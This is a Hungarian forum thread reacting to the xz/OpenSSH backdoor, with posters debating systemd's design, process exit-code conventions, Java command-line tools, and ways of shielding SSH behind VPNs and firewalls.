Egy valamirevaló rendszerben a felügyelőnek kell a szolgáltatásokat felügyelnie, és nem pedig a szolgáltatások üzeneteit elhinni bemondásra. Ez a fajta üzenetküldés alapvető koncepcionális tervezési hiba. És ráadásul mint az xz/OpenSSH esetében kiderült, még szarul is van megírva, mert lehetőséget adott a libsystemd-n keresztül backdoor nyitásra!

Magyarán nemcsak elméletben eleve hülyeség, de még a kivitelezése is szar, azaz vissza a kályhához, a valódi ludas a történetben a systemd, és nem is az xz.

jo hat a sysvinit vilagban eleg volt start-stop-daemon /usr/sbin/foo, azt csa'. aztan pl lehetett hozza monit/supervisord/akarmi takolni hogy restartolja ha lerohadt. ma mar elhagytuk a kobaltat, masok az igenyek.

Ez az állapot kit érdekel?

pl a ra epulo szolgaltatasokat. persze a sysvinitben is bele volt hakkolva a Required-Start/Should-Start/stb-vel ez. de hat megint a kobalta...

pl ha umountolni akarod (systemdvel lehet) a /srv/bitcoin-data dir, akkor elotte nemart ha pl a bitcoin daemont lelovi az init. ha meg a bitcoinra epul az lnd, akkor elotte azt is le kell leoni. na ezert vannak a csoda foo.service fajlok, es ebbol tudja hogy milyen sorrendben kell leloni a progikat.

A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!

> lehetett hozza monit/supervisord/akarmi takolni hogy restartolja ha lerohadt.

most is lehet, kell, systemd mellett is... pl smsd rendszeresen beakad ubuntun (18-20-22 alatt is), kell neki egy restart. a systemd nem csinalja meg. kellett irni ra egy scriptet ami nezi a syslogot es ha egy ideje nem irt bele statuszt akkor restartolja. php-fpm is be szokott halni, azt is meg kellett takolni hogy restartolodjon, systemd szarik raja.

> ma mar elhagytuk a kobaltat

el. pedig azzal ha odacsaptal, akkor tortent valami. most meg lehet noszogatni a systemdt az meg csak kotoszkodik, hogy kene daemon-reload mert ugyan latja hogy atirtam a service filet de nehogyma' magatol frissuljon a cache, stb.  meg amig nem kap dhcp-n ip cimet az egyik interface, addig 5 percig blokkolja a boot folyamatot, pedig nyugodtan elindulhatna legalabb az sshd, hogy a masik interfacen belephessek...  vagy hogy nem engedi a mysql-t irni a /home/ konyvtaraba. fel napig nyomoztam wtf van, apparmor kikapcs, mysql parameter amikorlatozna off, azt megis permission denied. hat a systemd ugy gondolta ebbe neki is van beleszolasa... ezert tenyleg qrvara megerte elhagyni a kobaltat.

jo hat ha szar a program azzal nemtud mit kezdeni a systemd se (illetve neha de: pont a sokat szidott notify amivel tudja az app jelezni "hello, megvagyok!", es ha nincs akkor kap egy restartot), de akar meg egy curl healtcheck servicet is lehet hozza rakni, ha olyan az app.

viszont olyan sysvinit alatt nemvolt, hogy az apache vagy php (opcache integet :D) elszall sigservvel, akkor induljon ujra. olyan meg vegkepp nem hogy A dependal B-re, es B restartkor kapjon A is egy restartot.

meg amig nem kap dhcp-n ip cimet az egyik interface, addig 5 percig blokkolja a boot folyamatot, pedig nyugodtan elindulhatna legalabb az sshd, hogy a masik interfacen belephessek

hat latod, ezt pont tudja: systemd-networkd-wait-online@eth1.service (ha meg nem lenne ilyened, mert regi systemd, akkor systemctl  edit systemd-networkd-wait-online.service es ExecStart overridebe: /lib/systemd/systemd-networkd-wait-online --any)

MAGIC!!! de en sem vagyok guru hozza, csak ha valami nemmegy, akkor nem kialltok fel "ezszar!!44", hanem keresek megoldas, es legtobbszor kijon hogy "jah en voltam hulye"... \o/

A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!

> viszont olyan sysvinit alatt nemvolt, hogy az apache vagy php (opcache integet :D) elszall sigservvel, akkor induljon ujra.

man inittab, /respawn

Szóval azért ne vicceljünk már. Kb 1980 óta tudja. És elég sok sysvinit megvalósításban volt rendes dependenciakezelés is.

A systemd sokak számára nagy hibája, hogy teljesen ellene megy a KISS elvnek. Hisz eleve nem init helyettesítő, de minimum init, meg inetd, meg syslogd, meg minintpd, meg ...... A másik nagy hibája az arrogáns főfejlesztő arca. A harmadik nyilván az, hogy a sok beépített funkció miatt nem egyetlen szoftvernek kell megtanulni a teljesen új szintaxisát, hanem a rendszergazda 158 pengéjű svájcibicskájából lassan 140-nek. És nem segít az, hogy látszólag egységes az a megtanulandó szintaxis.

tl;dr
Egy-két mondatban leírnátok, hogy lehet ellopni egy bitcoin-t?

regen ez ugy mukodott, hogy akkor jott letre a .pid file amikor elindult. ha x idon belul nem jelent meg akkor tudta az init rendszer hogy baj van.

meg amugy egy ssh-n mi dependel? mert ez a libsystemd-s bvaromsag amugy opcionalis, a service fileban lehet jelezni ha nincs es ugy is mukodik, akkor a regi modszerrel figyeli. pl. php-fpm 5.3 meg nem tudott systemd notifyt es azt is meg lehetett oldani igy.

Szerintem az elindulás tényét jelezni annyiból van értelme, hogy amikor a szolgáltatásra épülő további szolgáltatást indítjuk, akkor garantált, hogy már válaszol is.

Ez a régi szép időkben úgy működött, hogy induláskor a daemon megnyitott mindent, amire szüksége volt, és a végén, amikor már minden inicializálva volt, és még a socket-et is megnyitotta, fork()-olt egyet. A child process írt egy pidfile-t és várta szeretettel a kéréseket, a szülő process meg visszatért OK-val. Az init rendszer innen tudta, hogy a daemon sikeresen elindult, indíthatja a következő (esetleg erre a daemon-ra épülő) szolgáltatást.

For a certain definition of működött. Egyrészt ha a daemon olyan volt, és ha úgy implementálták le, és ha nem felejtették el ezt meg azt. Úgy, hogy bele kell venni egy mindenféle race conditionos cseszekedést, meg törődni kell a párhuzamos dologkkal, meg annak a kezelésével, hogy egy bazmeg után most akkor mi is van abban a pidfileban, érvényes-e még, és kinek kell feltakarítani. (És amit természetesen bele kell implementálni minden egyes daemonba, nyilván egy csomószor valami külső pid file kezelő libbel, mert mint mondtam, nem triviális teljesen a krédés, az nem baj, ha a systemd miatt kell behúzni valamit, az meg igen)

És akkor még ott van ennek a tetejére a double forkos tangó, ha megnézed, ez az egész valójában egy egész bonyi dolog, a systemdnek abban teljesen igaza van (szerintem, meg egyébként láthatólag nagyjából minden service manager szerint is), hogy sokkal normálisabb design, ha forground futnak a szolgáltatások, a felügyelő meg majd csinál a futó gyerekeivel, amit akar, és direktben tudja, hogy az ki. És egyáltalán nem ördögtől való gondolat, hogy legyen valami csatorna, amin lehet értelmesen állapotot kommunikálni, meg még az sem, hogy ehhez adnak libet. (Fun fact, lehetne ezt egyébként tulajdonképpen a signalokkal is, mert lehet azokra is metadatát tenni, csak erről nem szokás tudni, meg azért valahol el tudom képzelni, hogy okkal nem akarnak feltétlen kernel interfacet használni erre).

A probléma inkább az, és ez tényleg az, hogy na ehhez a libsystemdbe minek kell a xz mint dependencia. Vagy valójában kellene egy libnotify kivágva, vagy kissé túl van tolva, sose néztem ennyire közelről, nem tudom melyik.

Van ExecStop, azzal tudsz hívni valami helpert, ami triggereli a leállítást egy neked tetsző csatornán. Ha van, akkor megvárja, míg lefut, aztán a maradékot fogja eltakarítani signalokkal. Illetve van kontrollod afelett is, hogy milyen signalok mennek ki. De ja, most megnéztem, magában a libsystemdben úgy látom nincs systemd->service irányú kommunikáció.

Egyébként javaban probléma kezelni egy SIGTERMet? Ezen azért meglepődöm, mert láttam már pár javas szolgáltatást életemben, és eddig ez nem jött szembe.

"Egyébként javaban probléma kezelni egy SIGTERMet? " - Hááát... Ha egy mondjuk Tomcat kap egy ilyet, és rendesen, normálisan leáll, akkor olyan szép nem nulla (143?) exitcode-ot kapsz, hogy csak úgy pislogsz... Szóval lehet, hogy a szignálok kezelése "megy", de a vége azért elég ronda tud lenni...

Mert vannak programok, amik a nullán kívül más exit coddeal is jelezhetnek olyan állapotot, ami jó? Az, hogy a tomcat ilyenkor valami furcsával jön vissza, az egy dolog, lehet egy csomó más valid eset is, amikor van az exit codenak valami a service felügyelő számára hasznos jelentése?

Nem értem, mire fel a butthurt...

Nem, nem jól érted. A 0-s exit code mindig sikeres kilépést jelent, de nem minden sikeres kilépés jelent 0-s exit code-ot - a sikerességnek többféle lehetséges esete lehet. Amikor persze kitalálták azt, hogy 0 = siker, nemnulla = hiba, akkor még nem gondoltak a fejlesztők sok lehetséges esetre.

Például a SIGTERM-re történő sikeres leállás egy daemon jellegű szoftvernél teljesen valid (külső kérésre leállt, nem valamilyen belső logika miatt fejezte be a futást) - és a signal n-re a 128+n-es exit status-t azt a bash például használja, ezért is implementálták is az appservereket.
A SIGHUP-ra történő leállás is jelenthet sikert egy interaktív terminálos alkalmazás esetén - a program leáll, mert a felhasználó terminálja bontotta a kapcsolatot (és nem azért, mert a felhasználó lépett kil, vagy a program a logikája szerint végzett).

"Amikor persze kitalálták azt, hogy 0 = siker, nemnulla = hiba, akkor még nem gondoltak a fejlesztők sok lehetséges esetre." - Ennyi. A normál, problémamentes leállás az nulla értéket ad vissza, minden más esetben a visszatérési érték további információt hordoz a leállás okáról, eredményéről. Az, hogy valami de facto nem tud nullás retval-t adni semmilyen esetben, mert "csak", az ennek az elvnek a semmibe vétele.

A sighup -ra történt program megszakítás általában nem normál exit (kivéve a tty vonalat kezelő motyó esetén), hiszen a futás közben bármikor, bármilyen állapotban bekövetkezhet.

A normál, problémamentes leállás az nulla értéket ad vissza, minden más esetben a visszatérési érték további információt hordoz a leállás okáról, eredményéről.

Ettől még a plusz információt hordozó leállás is lehet normális programbefejezés - csak éppen többet akar a program annál mondani, hogy végeztem (mert mondjuk meg akarja mondani, hogy miért végeztem).

Az, hogy csak a 0 = siker, az nagy butaság volt a tervezők részéről anno, egész egyszerűen a 70-es évek elején nem gondoltak bele abba, hogy mi lesz 2000-ben. 1970-ben kitalált koncepciókkal meg nem lehet lefedni minden use case-t, amire szükség van, teljesen felesleges ezeket a koncepciókat erőltetni, a mai use case-re kell megoldást nyújtani.

"csak a 0 = siker, az nagy butaság volt a tervezők részéről anno" - szerinted. Mivel erre (is) épül a "foo && bar" vagy épp a "foo || bar" kiértékelése, meg sok egyéb dolog is, a sok értékű "sikeres kilépés" ezekkel is szembe megy. 

A mai use-case -eket is le lehet fedni ezzel, ha azt elfogadjuk, hogy csak akkor adjon vissza az alkalmazás "extra" infót a futásról az exitvalue-ban, ha erre kifejezetten megkérték, egyébként meg ne. Az, hogy per definiten nem is tud exit 0 -lal befejeződni a futás, az viszont gáz. Persze, a Java-s gányolások elkövetői úgy vélik, ők fújják a passzátszelet, de a világ nem csak ezekből a lomokból áll... Szerencsére.

Ezt ügye most csak viccből írtad, vagy trollkodsz? Lehet egyáltalán egy Java programnak (értsd:  nem magának a Java környezetnek) visszatérési értéke? Meg shellben, scriptben miért szűrnél Javával, mikor arra megvannak a kulturált, natív eszközök, amik sokkal takarékosabbak. Mindegy, tőlem azt használsz, amit akarsz, de ezt így érvként kár volt bedobni.

Az persze való igaz, hogy nyelvtől függetlenül sok natív megoldás se követi rendesen a visszatérési értékre, hibakezelésre vonatkozó szokásokat. Nem is egy tool van, ami pl. találatok számát, vagy valami bemenettel kapcsolatos adatot ad vissza a visszatérési értékben, nem 0-át. Mert a költő azt hitte, hogy ez egy jó reformer ötlet, modern megközelítés, most jól feltalálta a spanyolviaszt, meg különben is azt csinál, amit akar.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Meg mernék esküdni tá, hogy komolyan mondja. Ugyanis:

 

- amikor egy AWK program exit 2 -t mond,

- amikor egy Python kódban sys.exit( 3 ) szerepel,

- vagy amikor egy - általad emlegetett - shell scriptben exit 5 áll,

 

az mind ugyanaz: az alkalmazás beállít egy "státuszkódot" (vagy exit-kódot), és megkéri a futtatókörnyezetet, hogy az éppen futó OS-nek megfelelő módon ezt közölje a külvilággal. Az első esetben az AWK-interpreter, a másodikban a Python-értelmező, a harmadik esetben pedig a shell *futattókörnyezet* (amúgy szintén interpreter) kapja meg ezt a két információt: be kéne fejezni a futást, és át kéne adni ezt az értéket úgy, ahogy itt szokásban van. És tudja, mit csináljon.

Akkor ehhez képest amikor a JVM-ben futó program csinálja tök ugyanezt, az miért lenne más, vagy épp miért ne lenne normális dolog?

Ráadásul attól, hogy *X világban van egymillió "kulturált, natív eszköz" (ahogy te írod), attól nem biztos, hogy az pontosan azt csinálja, vagy akár csak tud róla az egyszeri programozó felhasználó.

(Pl: Linux alatt valamiért elterjedt a seq parancs. Ilyen parancs FreeBSD-ben eléggé sokáig nem volt. Hanem volt helyette jot, ami kicsit több  mindent tud. A helyett, hogy egymillió linuxos módon megírt shell-scriptet átírtam volna, inkább írtam magamnak egy seq nevű shell-scriptet, ami a legtöbször használt seq hívást implementélta pár shell-eszközzel meg a jot paranccsal. Aztán amikor a FreeBSD-sek implementálták, akkor nyugdíjaztam a scriptet.)

tl;dr
Egy-két mondatban leírnátok, hogy lehet ellopni egy bitcoin-t?

System.exit(int) doksija a java 1.0.2-ből

Teljesen jól lehet szűrőket csinálni Javában. Valódi érvet nem tudsz mondani, hogy miért ne lehetne. Csak van valami becsípődésed a Java ellen, ezt tudjuk.

A RAM használat csak akkor számítana, ha sok példányt kellene futtatni egyszerre. De akkor átírod szerver megvalósításra ugyanazt ami addig parancssori volt, hogy csak egyszer legyen betöltve a programod. Ugyanez igaz arra az esetre, ha nagyon sokszor kellene elindítani egymás után.

CPU szempontból a Java a szkriptelésre tipikusan használt nyelveket mind kenterbe veri. Indulási időben nem feltétlenül, de ha sok adat van a streamben, akkor egészen biztosan. És mikor számít a teljesítmény? Amikor sok adat van, nem akkor amikor kevés.

A "One Billion Row Challenge"-ről hallottál? Egészen elképesztő teljesítményt ki lehet hozni a Javából. A legtöbb esetben tök felesleges optimalizálgatni, mert épp elég gyors magától is.

+1, teljes baromsag az egesz

Nekem peldaul van egy csomo build pipeline-om, ami tele van mindenfele .NET console app-pal, ami csinal valamit, aztan vagy visszjon 0-val, es akkor megy a kovetkezo job/step, vagy non-0, es akkor megfogja a runner. Ennel kenyelmesebb szerintem a vilagon nincs, persze lehetne irni egy rakas bash scriptet olyasmikre, hogy Azure KeyVaultbol leszedjen egy secretet, meg hasonlok, de en nem hiszem, hogy a core runtime betoltese akkora overhead lenne, hogy emiatt megerne atirni.

Egy teljes build+teszt pipeline futas tobb mint ket ora, mire dev-tol prod-ig elmegy a build, az majdnem egy egesz nap, hat, en oszinten telibeszarom, hogy a 24 orat le lehetne faragni 23 ora 59 perc 55 masodpercre. Mar ha egyaltalan sikerulne ennyit faragni. Megeri! :)

Ezt ügye most csak viccből írtad, vagy trollkodsz?

Mert?

Lehet egyáltalán egy Java programnak (értsd:  nem magának a Java környezetnek) visszatérési értéke?

Ezt ügye most csak viccből írtad, vagy trollkodsz?

Mert a költő azt hitte, hogy ez egy jó reformer ötlet, modern megközelítés, most jól feltalálta a spanyolviaszt, meg különben is azt csinál, amit akar.

Doksiban benne volt, hogy igy viselkedik? Ha igen, akkor PEBKAC.

Persze, a Java-s gányolások elkövetői úgy vélik, ők fújják a passzátszelet

Az egész "ha signal miatt lépünk ki, akkor 128+signal a visszatérési érték" dolgot nem a Javasok találták ki. A Bourne shell kezdte el így, a Bash is így kezeli, meg szinte minden más szoftver ezután. Lásd  az Advanced Programming in UNIX Environment könyv exit statussal foglalkozó részét:

As this example demonstrates, the Bourne shell has a
poorly documented feature in which its termination status is 128 plus the signal
number, when the command it was executing is terminated by a signal.

Na, ebből a poorly documented feature-ből lett konvenció a nagy UNIX guruk által.

És ha például egy daemont úgy tudsz leállítani, hogy SIGTERM-et küldesz neki (ez is egy nagyon régi Unix konvenció - lásd például a fent említett könyv daemonokkal foglalkozó fejezetét) , és ő erre 143-mal (128+SIGTERM) kilép  (hiszen ez a konvenció), akkor az egy normális kilépés, nem 0 exit statussal.

És ezt nem a Javasok találták ki.

És ekkor meg kell mondani a systemd-nek, hogy 143 esetén NE indítsa újra a processzt és NE tekintse ezt hibának. Valószínűleg ugyanitt van megadva az is, hogy ExecStop=mixed és KillSignal=SIGTERM.

"És ekkor meg kell mondani a systemd-nek, hogy 143 esetén"... - igen, és ez _jó_. Mert a systemd-nek meg lehet mondani, hogy mit tekintsen "sikeres" futásnak/exit code-nak. Ezt a scripthalmaz init-megoldásoknak vagy egyedileg belereszeled az adott scriptbe, hogy test $? -eq satöbbi, vagy más gányolást csinálsz.

 

na de most akkor az appserver motyók rúgták fel a szabályt, hogy csak a 0 a sikeres exit status? Hiszen ezt bizonygattad.

És előfordulhat-e, hogy a nem 0 exit status is normál, sikeres kilépést jelent? Azt mondogattad eddig, hogy ez baromság.

Random?

https://hup.hu/node/149726

Valóban nem szeretem, de nem is utálom.

Látom, hogy te sem ma kezdted, de én sem. Random szardobálásra nincs időm, nyugodtan szeretnék rendszert karbantartani - ebben a systemd sok embert segít, de az én koncepciómba nem illeszkedik.

"Jegyezze fel a vádhoz - utasította Metcalf őrnagy a tizedest, aki tudott gyorsírni. - Tiszteletlenül beszélt a feljebbvalójával, amikor nem pofázott közbe."

Értsd jól. Elhiszem, hogy volt ebben a bloat szarban valami bug, amitől megállt, de most erről mit beszélgessek veled? Milyen reakciót vársz rá?

Egyébként imho: ez bizony ritka, nem döglenek fossá szakmányban a systemdk (a linkelt hiba is olyan, hogy üzemszerűen egy üres argumentummal ritkán futtatnál), és az esetek nagy többségében valójában nem lesz érdemi különbség aközött, ha a bloat meghal, és viszi a serviceket meg a pid1-et, meg aközött, hogy ha a bloat meghal, viszi a serviceket, a pid1 meg szépen megmarad semmit nem csinálni. Szolgáltatás ígyse, úgyse lesz. Bizonyos esetekben még jobb is, ha megáll az egész vas a fenébe :)

Nem volt célom erről csacsogni, csak a random szardobálás említése alapján felmerült, hogy nem tartod reálisnak ezt a lehetőséget, pedig előfordulhat. Persze általában elmondható, hogy a systemd nem döglik meg csak úgy, mert akkor nagyon sok panaszos lenne. Szóval elfogadom, hogy sok embernek jól teszi a dolgát, illetve a legtöbb felhasználó nem is tud róla, hogy mi az init rendszere - tehát műdödik.

További szép napot!

"Jegyezze fel a vádhoz - utasította Metcalf őrnagy a tizedest, aki tudott gyorsírni. - Tiszteletlenül beszélt a feljebbvalójával, amikor nem pofázott közbe."

Egyre gyakrabban tapasztalom, hogy a koncepcióm másfelé visz. Lehet, hogy öregszem - vagy csak rugalmatlan vagyok és nem haladok a korral.

Most pl: usr összevonás. Zavar, mert tudom, hogy miért van külön /usr. De kénytelen vagyok követni - Linux alatt.

"Jegyezze fel a vádhoz - utasította Metcalf őrnagy a tizedest, aki tudott gyorsírni. - Tiszteletlenül beszélt a feljebbvalójával, amikor nem pofázott közbe."

Nekem ha benn vannak, már tökmindegy :) a kényelem mián az én userem jelszó nélkül sudo-zhat. De lehet, hogy ezt a gyakorlatomat azért felül kéne vizsgálni...

Meg ha jól értem ezek is úgy berhelték meg az openssh-t, hogy még be se vagy lépve már futott a kód -- nyilván root jogokkal.

Szerintem sajnos azellen nem véd. A dropbear talán annyit segít, hogy kevesebb a függősége, amin keresztül be lehet csempészni a backdoort (de tegyük hozzá, az openssh-nak sem volt "igazi" függősége a liblzma). A 2FA sajnos szintén semmit nem védett volna, mert már preauth fázisban ráfutott a backdoor-ra és - ha igaz az aktuális leírás - nemcsak annyit tudott, hogy a támadó által beégetett RSA kulccsal mindig továbbengedett, hanem dirketben azonnal remote kódfuttatást is lehetővé tett, el sem jutott volna az autentikáció a második faktorig.

Az előttem levőket tudom idézni: VPN és tűzfal mögé az SSH-t, illetve bármi más remote access-t. A VPN-ből lehetőleg olyat, aminek a jelenléte portscanneléssel nem deríthető ki (pl wireguard _állítólag_ ilyen, de nem tudom ellenőrizni).

Sajnos akkor még mindig megvan az, hogy olyan backdoor-t kapsz be, ami kifele irányba veszi fel a kapcsolatot a C&C szerverrel. Sajnos kell outbound tűzfal is, ami eléggé alkalmazásfüggő, hogy mennyire praktikus. Kifele irányba sajnos lehet DNS-be csomagolt módon is forgalmazni, kell valami saját DNS szerver/proxy, amin le tudod logolni, hogy miket kérdez kifele és mondjuk riasztani, ha túl sok DNS cache miss van.

Régóta vágyok én, az androidok mezonkincsére már!

Végülis igen, PSK-val valóban. Én IPSec-nél automatikusan IKE-s változatra asszociáltam, ami sajnos elárulja magát.

De ezt az egészet nagyon könnyű elrontani pl, ha VPN szerver 1 hoppal a tűzfal mögött van, akkor TTL-állítós trükkel fel lehet fedni a portscannél, hogy az a port valójában nyitva van, csak a mögötte levő service nem válaszol. És biztos vagyok benne, hogy van még 1-2 trükkösebb fingerprinting technika, ami valami indirekt módon elárulja, hogy az adott port viselkedése valahogy különbözik a többiétől.

Régóta vágyok én, az androidok mezonkincsére már!

Az IPSEC, meg Wireguard konfigurálás elég macerás amikor az embernek legalább 5-10 különböző háztartásban, irodában, cloud provider-nél, VPS hostingnál lévő gépet kell adminisztrálni. 

Tudom ma már vannak bitang jó szkriptek, meg telepítő keretrendszerek, de énnél én egyszerűbb lélek vagyok... egyébként a ZeroTier saját controllerel nagyon bevált, elég stabilan hozza, amit kell. (De nem tudom egy port-scanből kiderül-e, elvileg UTP punchingot használ.)

2FA, ugyan mar!

1. tudsz valamit (jelszo)

2. van valamid (hw kulcs)

3. ismersz valakit (aki megoldja a problemaidat, amig te a karibi szigeteden pihengetsz)

Az van, hogy a harmadikhoz nem visz kozelebb az sshd es PAM konfig fileok turkalasa.

Nálunk levelezésnél  van a tudsz valamit jelszó , nem tudsz valamiről SSL client cert (sajnos se a nyomi alma , se a stock nyomi Android és még a kitekintő sem képes ezt kezelni 2024-bem sem :() 

Valahol szomorú, hogy az ssl alapok is hiányoznak.

"nem tudsz valamiről SSL client cert (sajnos se a nyomi alma , se a stock nyomi Android és még a kitekintő sem képes ezt kezelni 2024-bem sem" - Ezt hogy érted? Mutassak olyan postafiókot, aminél Android és iOS esetén is a készülékre felrakott kliens cert-tel enged be csak a levelezéshez?

Dovecot IMAPS úgy van beállítva, hogy kliens cert kell neki, ezt a gyári mobil email kliensek (Apple Mail/Google Mail) közül egy sem igazán támogatja. De ha megnyitom Chrome/Safariban a webmailt szépen felugrik a tanúsítványválasztó kiválasztom bejön. 

Androidon a FairEmail/K9 Mail képes ilyen varázsatlatra, de IOS-re még nem találtam, olyan email klienst tudná. 

Nekem Exchange webes felület előtt van HTTPS kliens cert ellenőrzés (gyakorlatilag webmail), és teljesen jól működik: akár Android (Gmail), akár iOS a kliens, user+pass+kliens certtel megy a levelezés elérése. Az IMAP fölé húzott SSL+kliens cert - ha jól rémlik - nekem is csak K9-cel ment, de szerencsére azt ki lehetett dobni (iOS -ra valami fizetős motyó volt csak...)

> a port-knock az már megfelel egy gyengébb 2FA-nak? :-)

Ha dinamikusan váltod a portokat amiket meg kell knock-olni... elvileg össze lehet hegeszteni egy Google Authenticatorral, csak valami hash algoritmus kell, amit fejben el tudsz gyorsan végezni és a 0..999999 közötti számból csinál egy portot :) 

Asszem a VPN egyszerűbb :)

A legegyszerűbb és átláthatóbb megoldás , ha egyszerűen kirakod az egész vackot a netre. :) 

Példa:

https://threatbook.io/ip/91.104.249.32

Természetesen ha már telik Industrial LTE routere akkor véletlen se cserélsz rajta firmwaret:

LR77-v2L 6.1.10 (2019-07-02)

Egy hete próbálgatja az e-mail fiókok jelszavát nálunk. (biztos elfelejtette)

( kris | 2024. 04. 03., sze – 17:35 )

az jó mert akkor upgradelni sem tudom a különböző gépeimet :) csak azt kell kitalálni, hogy miből lesz így több: security hole-ból vagy fix-ből :)

valószínűleg hosszútávon mindegy: ergo talán mégis jobb lett volna még ~30 éve RedHat 5.2-n maradni :)

( gazsiazasz | 2024. 04. 03., sze – 19:48 )

....de én andoridot hazsnálok, átnézem a szósz kódot mindig mer ómen szós 

( kleinie | 2024. 04. 03., sze – 20:10 )

Szerintem újra kellene írni Rust-ban!

( hajbazer v | 2024. 04. 05., p – 19:52 )

Szerkesztve: 2024. 04. 05., p – 21:17

Az online mémvilágban máris megkezdődött az autistázása és egyéb más, lejárató hangvételű kifigurázása a fejlesztőnek, aki abból jött rá először a turpisságra, hogy fél másodperccel lassabban indul a library.

Mi sem mutatja jobban, hogy a multik erőforráspazarló szutykain tengődő tech-világ mennyire hozzászokott már a bloat-hoz és ahhoz, hogy 2024-ben kuriózumnak számít az, ami 1 másodpercnél rövidebb idő alatt indul el és nem szüttyög minden szaron-húgyon, amit általában animációval fednek el, ami amúgy is másodperces késleltetéseket tesz a workflow-ba, csak azért, hogy szemfényvesztően lehessen demózni.

Ezek után nem csodálom, hogy Raynes kolléga is előszeretettel ajánlgatja nekem az egyértelműen erőforráspazarlóbb és emiatt számos vizuális késleltetéssel bíró GTK3-at és minden hozzá hasonló bloat-ot.

Én terminálos workflow-t meg toolkit nélküli ablakkezelőt ajánlok, de ahhoz normi vagyol. A Gtk3-at csak azért említem, mert annak ellenére, hogy én se szeretem, de próbálod beállítani, mint a világ legbloatabbját, közben meg a Gtk4, Qt4-6, webes tákolmányok simán mind bloatabbak.

Az xz-ről is hiába próbáltad elhitetni, hogy bloat, nem az. Igen, nyilván lassabb az általad preferáltaknál, de ez a tömörítésnek, mint műfajnak a törvénye, egy tömörítő minél jobban tömörít, annál lassabb lesz, vagy annál több erőforrás kell neki. Vannak az xz-től sokkal extrémebbek is, pl. paq8, zpaq, azok olyan morbid lassúak, hogy kisebb anyagokat is ilyen 10-20 órán át tömörítenek (befelé, kiflé is), 10-20 giga memóriafoglalással, de ezeket nem is mindennapi használatra tervezték, hanem kísérletezésnek. Ezen az oldalon meg tudod nézni a legjobban tömörítő megoldásokat, és látni fogod, hogy a toplistások, mennyivel lassabbak a mainstream megoldásnál.

A tömörítés mindig egyensúlyozás, mindegyik tömörítőnek más az előnye, hátránya, neked kell megtalálni, hogy az adott anyagra, igényeidre neked melyik a jó, melyik tömörít még úgy, hogy megfelel, de időben, hardverigényben sem brutális. Még egy tömörítőn belül is lehet játszani a paraméterekkel, mennyire tömörítsen, mekkora szótárméretet, stb. használjon. Pl. xz-nek is vannak alacsonyabb fokozatai, amelyeken nem lassabb, mint egy gzip, de akkor viszont lehet nem is fog sokkal jobban tömöríteni.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Természetesen az érintettek között nem autista senki. Nem hogy a MS-os fejlesztő, de az xz-s forma sem az, őróla ugyanis hiába rebesgették, hogy valami mentális baja van, meg kiégett, nagy hirtelenséggel rendbejött és egyből újra alkalmas lett fejlesztésre, meg egy új release kiadására. Semmi kiégés nincs, lusta disznó, ráunt a projektre, és kitalálta ezeket a kifogásokat.

Nem az a baj, hogy nem akarja már az xz-t fejlteszteni és karban tartani, arra nem is kötelezhető, hanem hogy hazudozik róla, kifogásokat keres, meg nem adja át a projektet valaki megbízhatónak. Pl. GNU-sok közül valakinek, vagy a Linux kernelesek kijelölhetnének valakit erre, ismert, név szerinti embert, aki évek óta bizonyított, esetleg még a zstd/lz4-es fejlesztő is tudna rá vigyázni. Esetleg MS, Red Hat, de azoknál nem akarom, hogy bárki rátegye egy ilyen alapvető FOSS projektre se a mocskos kezét, és szépen profitorintált vagy bloat okádmányt csináljanak belőle. Mindegy ki venné át, csak megbízható legyen, az se baj, ha nem sokat tesz hozzá a projekthez, csak ilyen JiaTan pöcsféléket ne engedjen be a projektbe.

Sőt, innen már arra se építenék, hogy adja át, hagyja a fenébe, valaki forkolja a projektet megbízható fejlesztők közül, nxz vagy valami hasonló néven, és mindenki használja tovább azt.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

( KGer | 2024. 04. 06., szo – 11:17 )

Szerkesztve: 2024. 04. 06., szo – 11:19

ha kiderül hogy ez a Jia Tan amerikai vagy európai állampolgár, akkor elbeszélgetnek vele a titkosszolgálatok hogy mégis mi volt az elképzelés, kik a megbízók, hogy csinálta, mióta tervezte?

vagy a rendőrség ha van erre bármi polgári büntető kategória?

gondolom inkább a titkosszolgálat

megfordítva: ha én próbálok backdoor-t rakni az sshd-be és majdnem sikerül és lebukok, akkor nyugodtan zavartalanul élhetem tovább a polgári életem?

( asch v | 2024. 04. 06., szo – 12:08 )

A probléma egyébként az, hogy a many-eyeballs nincsen enforszolva. Review folyamat kellene, amiben emberek aláírják, hogy ők azt reviewzták. Illetve olyan build rendszer, ami garantáltan mindig ugyanazt a kimenetet adja, és azt is többen aláírják, hogy nekik is ugyanaz jött ki. Tehát egy disztró csomagjaihoz oda lenne téve, hogy ezt ezek az egyének és szervezetek garantálják, hogy helyes és intakt.

Rohadt drága lenne, de amennyi erőt elpazarol a FOSS közösség, akár bele is férne. Vagy ha a Linux foundation ezt finanszírozná ahelyett, hogy minden hülyeségbe fektet.

Az autotools-szal egyébként már elvi szinten is baj van: nem a programnak kellene a környezethez igazodni, hanem a környezetet kell a programhoz igazítani. Nem tudom csináltatok-e már olyat, hogy egy ilyen autotools configure szemlélettel megírt programba bele akartatok tenni valamit: rémálom, mert tele van feltételes elágazásokkal, és te csak egy ágat tudsz egyszerre kezelni, nyilván nem fogsz N+1 környezetet felépíteni, hogy minden ágat és kombinációt tesztelj. Az elágazások helyett HAL layert kell építeni, az a preferált megoldás minden normális projektben. Mikor ilyet kellett csinálnom azzal kezdtem, hogy kigyaktam belőle az összes feltételt és utána megcsináltam azt ami nekem kellett a saját platformomra. Ezerszer egyszerűbb lett a megoldás, mint eredetileg volt.

Aztán ha hibajelentés van, akkor azzal kezdődik, hogy jó, de mi a környezet? Hát azt nem tudom, mert az autotools szkript kimenetének a titka.

